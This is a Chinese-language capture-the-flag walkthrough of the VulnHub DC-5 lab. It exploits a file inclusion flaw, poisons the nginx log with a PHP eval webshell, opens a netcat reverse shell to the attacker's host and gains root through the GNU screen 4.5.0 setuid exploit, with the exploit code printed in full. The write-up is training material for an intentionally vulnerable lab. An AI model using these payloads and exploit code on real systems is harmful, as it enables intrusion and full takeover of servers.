靶场地址:https://www.vulnhub.com/entry/dc-5,314/
DC-5是一个中级的靶场,需要具备以下前置知识:
翻译一下官方给出的一些信息:
这个靶场与之前的不同,需要具备中级的渗透测试技巧,只有一个可利用的入口点(也没有 SSH),你需要观察一些不寻常的(会随页面动态刷新的)东西,你的最终目标是放在root目录下的flag。
扫描c段发现目标主机ip:192.168.132.151
nmap -A -sV -p- -T4 192.168.132.151
端口开放80、111、34558,直接去web站
在留言板处发现每刷新一下数字更改
目录扫描
dirsearch -u 192.168.132.151
发现一个特别目录footer.php,每刷新一次数字变化,即可能存在文件包含漏洞
尝试有没有其他文件包含
http://192.168.132.151/thankyou.php?file=index.php
http://192.168.132.151/thankyou.php?file=/etc/passwd
http://192.168.132.151/thankyou.php?file=/etc/passwd
发现外部文件也可以包含进来,所以我们尝试包含nginx的日志文件
每当我们访问一个页面,nginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/中。我们尝试将一句话木马写入日志文件中。
http://192.168.132.151/thankyou.php?file=/var/log/nginx/access.log
使用bp修改数据包数据,写入一句话木马
php @eval($_REQUEST[666])?>
写入成功、蚁剑链接
通过蚁剑反弹shell
nc -e /bin/bash 192.168.132.139 4443
kali: nc -lvnp 4443
python -c 'import pty;pty.spawn("/bin/bash")
查看具有特殊权限的二进制文件
查找一下可以用root权限的命令
find / -perm -u=s -type f 2>/dev/null
发现特殊文件 screen 4.5.0
searchsploit screen 4.5.0
将41154.sh文件拷贝下来
cp /usr/share/exploitdb/exploits/linux/local/41154.sh
因为直接执行该脚本错误,所以需要对该脚本完成如下工作
通过分析,我们将代码分成三部分
1、将bash文件上的一部分代码单独复制出来 到libhax。c
编译libhax.c文件:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
2、将另一部分c另存为rootshell.c
编译rootshell.c文件:
gcc -o rootshell rootshell.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
3、将41154.sh剩余部分保存为dc5.sh,并使用 :set ff=unix 进行保存
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
使用蚁剑将三个文件上传到/tmp目录下
我dc5.sh添加可执行权限,执行dc5.sh 成功获取root权限
chmod +x dc5.sh
ls -l
./dc5.sh
这里科普一下文件包含的利用,存在文件包含意味着我们可以读取当前权限下的任意文件。但是,也不仅仅是读文件,服务器一般都会存在日志文件来记录我们的请求,如果我们往请求里写了一些代码,再把这个日志文件包含进来,这些代码就会在服务器端被执行,我们就能拿到webshell
了。再进一步,如果这个文件包含可以包含远程文件,那么我们也可以把webshell
挂在我们自己的机器上,将其作为参数传入服务器包含执行,这样也可以getshell
。远程文件包含也称 RFI,利用条件比本地文件包含 LFI 会更苛刻,出现几率也比较小,这个靶场环境没有:)